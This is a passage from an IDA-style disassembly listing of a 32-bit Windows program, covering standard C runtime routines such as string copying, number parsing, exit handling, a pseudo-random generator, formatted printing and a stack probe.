		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBB4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9A8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBB4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9A8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A94C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB970, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 28C056Ch
		push	eax
		nop
		call	near ptr 28B09AAh


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB96C, edi
		mov	byte_4DB968, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFDC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFD8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFDC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB970, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A930, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A930
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A930, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEA1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBB4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBB4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9A8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBB4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9A8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
